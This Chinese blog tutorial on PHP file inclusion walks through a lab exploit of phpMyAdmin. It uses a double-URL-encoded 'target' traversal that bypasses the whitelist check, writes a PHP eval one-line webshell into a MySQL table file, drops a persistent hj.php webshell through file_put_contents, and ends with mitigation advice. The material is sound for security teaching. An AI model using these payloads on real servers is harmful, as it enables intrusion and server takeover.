渗透测试基础 -文件包含漏洞

只为对所学知识做一个简单的梳理,如果有表达存在问题的地方,麻烦帮忙指认出来。我们一起为了遇见更好的自己而努力💪!

文件包含是什么

举个例子:比如一个网站的后台,正常情况下是不允许其他非管理员访问的,会在网站后台里面加入一些代码,对其cookie或者session做限制。但是,网站后台大多数情况并非只有一个页面,那是不是每个页面都得加入这个验证身份的代码呢?答案是否定的,因为这样会导致代码的冗余,效率和运行速度也会下降。所以这里就引入了一个概念,对身份验证的代码,放入一个文件中,其他网页统一去调用这个文件,即可实现每个页面都能做到对身份的验证。

【注:包含文件很有用,可以简化代码】

文件包含又有本地文件包含远程文件包含,但是远程文件包含默认是关闭的,在php中需要在php.int文件中改变allow_url_include = On参数才可。

  1. 本地文件包含(LFI):
    当包含的文件在服务器本地时,就叫本地文件包含。

  2. 远程文件包含(RFI):
    需要包含的文件并非在本地,一般会通过http来实现远程文件包含。

注:文件包含的文件,会被当做当前脚本语言执行,假如你现在用的是PHP,那不管你被包含的文件后缀是什么,即使是jpg.png.txt,都会被当作PHP代码来执行。当然如果你这包含了图片马,那也就能直接取得webshell了

文件包含使用函数

1.include( )
include 语句包含并运行指定文件。

  1. require( )
    requireinclude 几乎完全一样,除了处理失败的方式不同之外。require 在出错时产生 E_COMPILE_ERROR 级别的错误。换句话说将导致脚本中止include 只产生警告(E_WARNING),脚本会继续运行

  2. include_once( )
    include_once 语句在脚本执行期间包含并运行指定文件。此行为和include语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含,且 include_once 会返回True。 如同此语句名字暗示的那样,该文件只会包含一次。 include_once 可以用于在脚本执行期间同一个文件有可能被包含超过一次的情况下,想确保它只被包含一次以避免函数重定义,变量重新赋值等问题。

  3. require_once( )
    require_once 语句和require 语句完全相同,唯一区别是 PHP检查该文件是否已经被包含过,如果是则不会再次包含

文件包含漏洞的形成

其实文件包含并非漏洞,当然是在处理好的情况下,如直接写死,去包含什么文件,且对面的文件有没有其他漏洞,如包含的文件是用$_REQUEST这样的方式传进来的,那就得注意了,是否会对传过来的值做限制,如果处理不当,就变成了漏洞。

文件路径巧用

在了解一点知识
windows cmd中,cd ../是回到上级目录,输入文件名会进入对应目录
在这里插入图片描述
如果输入 cd 然后随便乱打加上/../这样其实是还是在本身的位置没动,因为输入乱打的文件名并没有,所以他去不了,然后../又是回到上级目录,既然去不了那干脆就没有动位置。在php中也可以这样操作,只是乱打的字符串里面不能有符号*,即可。

在这里插入图片描述
有了前面的铺垫,接下里可以开始讲靶场了。

文件包含靶场演练

靶场为一个phpmyadmin的网站后台,既然是phpmyadmin的,那就将源码下载到虚拟机进行代码审计工作,找这次关于文件包含的“危险”函数。

直接全局搜索那四个函数,找危险的位置,如include($_REQUEST);这样的。
在这里插入图片描述
在这里插入图片描述
发现这段代码上面并没有什么死亡函数,这个很重要,不然等下全弄好了,发现这里不执行就很难受,在确定没有死亡函数时,将这段代码扣下来解析一下。

if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

一条条来解析:
1.if函数,检查以下条件,当全部满足时,才会执行我们想要的inclueempty— 检查一个变量是否为空。如果是空的,他就返回一个True,但是因为在最前面有一个感叹号的存在,所以需要我们传数据进去,就满足了第一个条件。

  1. is_string — 检测变量是否是字符串,这个好理解,就是检查传进来的是不是字符串,我们肯定满足,即使传阿拉伯数字进来,那也属于字符串。

  2. preg_match— 执行匹配正则表达式(检查的条件,检查的值),检查的条件这里是,以index开头都算,即使是indexaaa也算,但是注意前面的感叹号,所以这里的意思是,进来的值,不能以index开头。

  3. in_array — 检查数组中是否存在某个值(检查的条件,检查的值),和上一个很像,也是拿来做内容匹配的。但是这里检查的值好像是自定义的,所以我们得找一下,到底检查什么
    在这里插入图片描述
    原来是在这个数组中放入了两个值,规定其为黑名单(blacklist),因为如果这里传进来的值是这样两个,会因为开头的感叹号导致位置返回为False,所以这里不传这两个值即可。

  4. 这个会复杂一点Core::checkPageValidity()这样的写法叫做调用某个类的方法。来追踪一下 看是哪的。
    在这里插入图片描述
    找到了,又是一长条,还是全部拿出来一点点分析

public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

因为第一条是类的定义,直接看第三条:

        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }

1.if条件判断 empty — 检查一个变量是否为空,这里的whitelist等于self::goto_whitelist,这里不懂哦,其实就是:在访问PHP类中的成员变量或方法时,如果被引用的变量或者方法被声明成const(定义常量)或者static(声明静态),那么就必须使用操作符::,反之如果被引用的变量或者方法没有被声明成const或者static,那么就必须使用操作符->。这是语法上的,和我渗透关系不大,直接看后面的goto_whitelist是什么

在这里插入图片描述
其实这个看名字就知道,(whitelist)白名单,这里执行将白名单数组的内容放入变量whitelist中,于我们无关,往下看

  1. 第6条
        if (! isset($page) || !is_string($page)) {
            return false;
        }

这里isset— 检测变量是否已设置并且非 null(空),||(或者的意思),is_string — 检查是不是字符串。那这里的意思就是$page是不是为空呀,是的话就是False,但是因为有前面感叹号的存在,所以反着来理解,这里要是空的话,我就返回True了,要是不为空,就返回False。这里我们是肯定要传入数据了,Flase已经取得,又因为有||的存在,所以就算不看或者,我们这也不会执行。
在这里插入图片描述
3. 第10条

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );

这里的变量$page就是我们刚刚追过来,需要传入的值。
在这里插入图片描述
在这里插入图片描述

在看这里,说我们传进来的值,得是白名单的才可以是True,很明显不是嘛,所以接着往下看。$_page = mb_substr 这里mb_substr的意思是取字符串的值的意思,和substr差不多,他那种写法看起来很蛋疼,来给他改一下

   $_page = mb_substr($page,0,mb_strpos($page . '?', '?'));
    语法:
    mb_substr ( string $str , int $start) 

str 必需。从该 string 中提取子字符串。
start 必需。规定在字符串的何处开始。0 - 在字符串中的第一个字符处开始

这里又看到一个函数 mb_strpos()— 查找字符串在另一个字符串中首次出现的位置,相当于这样mb_strpos(‘1234’,’4’),会在第一个值里检查第二个值在哪,这里就会返回3,因为在代码中,0为第一位,mb_strpos(‘1234’,’2’),就会返回1。搜索一个不存在的,就不会有回显。那这里是($page.’?’,’?’)第一个问号前面要注意,是点,并非逗号,所以这里是连接符,假如$page是admin,那这里就是(’admin?’,’?’),返回5,将5带入到另外一个括号$_page = mb_substr($page,0,5),根据前面所提到的语法,那函数就会取第1位到第5位的值,也就是这里的admin。这里我们可以自己验证一下。

在这里插入图片描述
这里既然要用\$whitelist里面的值,那就先弄出来一个
在这里插入图片描述
db_sql.php,这个下面用。

  1. 第19条
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );

这里前面和后面都还是一样的,但是中间出现了转机,一开始有说过,cscsvs/../是不会改变目录的,但是这个乱写的数据里面是不能插入“ ?”“ * ”的,而我们这里非得放入才可以。前面是因为编码的原因:db_sql.php+?只经过一次编码进入之后就是问号,这样不可以。但是这里还有这样一条
在这里插入图片描述
urldecode — 解码已编码的 URL 字符串,也就是将传进来的值进行一次解码,当然前提是进过编码的,还是自己尝试一下。
在这里插入图片描述
这里我做了三个尝试,数字,符号,和双重符号。%25编码之后为%号,而%3f编码之后就为号了
在这里插入图片描述
那我们这的语句就有了
db_sql.php%253f/../

        if (in_array($_page, $whitelist)) {
            return true;
        }

好了 既然已经拿到恶意语句了,去本地看一下,能不能用。

在这里插入图片描述
因为是自己搭建的 所以密码是知道的
在这里插入图片描述
将一句话木马放入到index文件下,进行文件包含。文件为1.a。所以传入的语句是target=db_sql.php%253f/../1.a
在这里插入图片描述
本地成功了,那就转战靶场。
在这里插入图片描述
通过爆破得到账号密码为root root【不演示了】靶场主要为文件包含漏洞演示,所以后台密码简单也说的过去,主要是用文件包含拿下服务器。
在这里插入图片描述
进去之后发现旁别写着各种各样的库名,而正常情况下,phpstudy的数据库的文件夹在D:\phpStudy\MySQL\data这个目录下
在这里插入图片描述
在这里插入图片描述
这里直接写一个一句话木马的字段名,那是不是等下直接包含这个文件进来,就成功了。

在这里插入图片描述
在同样的地方在创建一个,字段写入一句话木马。现在这里就有了两个木马文件了。接下来就需要怎么去包含这个文件了。

因为知道靶场也为phpstudy,所以数据库表的位置大概是知道点的,MySQL\data 比如这个就可以确定,但是前面有什么文件就不知道了,所以这里咱们可以多写几个../../../
这样最多就跳根目录嘛,然后在写phpStudy\MySQL\data开头不就好了hj_mm\hj.frm

?target=db_sql.php%253f/../../../../../phpStudy\MySQL\data\hj_mm\hj.frm&&666=phpinfo();
放入靶场中,测试
在这里插入图片描述
这样就文件包含成功了,但是现在这个状态并非能连接菜刀的,因为现在这个是需要登录状态才能弄的,所以得在index下创建一个木马文件。用file_put_contents(‘hj.php’,’<?php eval($_REQUEST[666])?>’);创建一个hj.php的一句话木马文件了。

?target=db_sql.php%253f/../../../../../phpStudy\MySQL\data\hj_mm\hj.frm&&666=file_put_contents(‘hj.php’,’<?php eval($_REQUEST[666])?>’);

然后去主页面访问hj.php?666=phpinfo();
在这里插入图片描述
这样就没问题了 ,用菜刀去连接。
在这里插入图片描述
在这里插入图片描述

漏洞总结

防范方法:

  1. 在功能设计上尽量不要将文件包含函数对应的文件放给前段进行选择和操作。

  2. 过滤 …/…/…/,http://,https://

  3. 配置php.ini配置文件:
    allow_url_fopen = off (禁止打开URL文件)
    allow_url_include = off (禁止引用URL文件,新版增加功能,预设关闭)
    magic_quotes_gpc = on //gpc (魔术引号,这个在前面的宽子节注入有提到,用来post、get、cookie传进来的数据增加转义字符“\”,对POST、__GET以及进行数据库操作的sql进行转义处理,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。防止sql注入)

  4. 通过白名单策略,仅允许包含运行指定的文件,其他都禁止。

《最好的防御,是明白其怎么实施的攻击》

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

jinxya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值